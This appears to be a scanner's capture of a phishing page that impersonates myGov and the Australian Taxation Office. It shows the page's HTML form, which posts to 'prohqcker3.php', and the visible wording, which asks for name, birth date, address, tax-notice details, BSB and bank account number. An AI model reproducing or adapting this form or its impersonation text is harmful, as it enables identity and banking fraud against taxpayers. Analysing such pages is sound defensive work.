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Form analysis
1 forms found in the DOM

POST prohqcker3.php

<form id="forgotten-username-form" action="prohqcker3.php" method="post">
  <div class="input-group">
    <label for="fname">Full Name</label>
    <input id="fname" name="fname" aria-required="true" type="text" value="" autocomplete="off" required="">
  </div>
  <div class="input-group">
    <label for="fname">Date of Birth</label>
    <input id="fname" name="dob" aria-required="true" type="date" value="" autocomplete="off" required="">
  </div>
  <div class="input-group">
    <label for="fname">Full Address on File</label>
    <input id="fname" name="address" aria-required="true" type="text" value="" autocomplete="off" required="">
  </div>
  <h3 style="height: 40px; background-color: rgb(167, 164, 164); padding: 10px">NOTICE OF ASSESSMENT</h3>
  <div class="input-group">
    <label for="dob"><span style="font-weight: 400">Enter the <span style="font-weight: 600">date of issues</span> from your notice of assessment (dd/mm/yyyy).</span></label>
    <input id="name" name="issued" aria-required="true" type="date" value="" autocomplete="off">
  </div>
  <div class="input-group">
    <label for="dob"><span style="font-weight: 400">Enter <span style="font-weight: 600">our reference number</span> from your notice of assessment.</span></label>
    <input id="name" name="reference" aria-required="true" type="tel" value="" autocomplete="off">
  </div>
  <h3 style="height: 40px; background-color: rgb(167, 164, 164); padding: 10px">BANK ACCOUNT DETAILS</h3>
  <div class="input-group">
    <label for="dob"><span style="font-weight: 400">Enter <span style="font-weight: 600">BSB number</span> recorded with the ATO.</span></label>
    <input id="name" name="bsb" aria-required="true" type="tel" value="" autocomplete="off">
  </div>
  <div class="input-group">
    <label for="dob"><span style="font-weight: 400">Enter <span style="font-weight: 550">bank account number</span> recorded with the ATO (exclude BSB).</span></label>
    <input id="name" name="acct" aria-required="true" type="tel" value="" autocomplete="off">
  </div>
  <div class="button-container">
    <button type="submit" name="_eventId_submit" class="button-main button">Next</button>
  </div>
</form>

Text Content

 



MYGOV ACCOUNT INFORMATION

Please answer the shared secret between you and the ATO.

--------------------------------------------------------------------------------

Full Name
Date of Birth
Full Address on File


NOTICE OF ASSESSMENT

Enter the date of issues from your notice of assessment (dd/mm/yyyy).
Enter our reference number from your notice of assessment.


BANK ACCOUNT DETAILS

Enter BSB number recorded with the ATO.
Enter bank account number recorded with the ATO (exclude BSB).
Next


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We acknowledge the Traditional Custodians of the lands we live on. We pay our
respects to all Elders, past and present, of all Aboriginal and Torres Strait
Islander nations.